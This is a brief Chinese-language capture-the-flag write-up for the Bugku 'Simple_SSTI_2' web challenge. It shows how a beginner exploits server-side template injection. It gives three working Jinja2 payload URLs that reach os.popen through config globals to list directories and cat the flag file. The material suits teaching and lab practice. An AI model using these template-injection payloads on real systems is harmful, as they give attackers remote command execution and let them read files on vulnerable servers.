Bugku:Simple_SSTI_2

我超喜欢这种题目的,确实对我这种萌新非常的友好
打开后,题目提示存在模板注入
先进行ls查看一下存在的文件。

/?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27ls%20../%27).read()%20}}

在这里插入图片描述
发现存在一些文件夹,进行一个个进入查看,运气很好,第一个看的app文件夹里就有flag

?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27ls%20../app/%27).read()%20}}

在这里插入图片描述
因为没有过滤直接cat ../app/flag

?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27cat%20../app/flag%27).read()%20}}

在这里插入图片描述

你可能感兴趣的:(Bugku,CTF_Web_Writeup)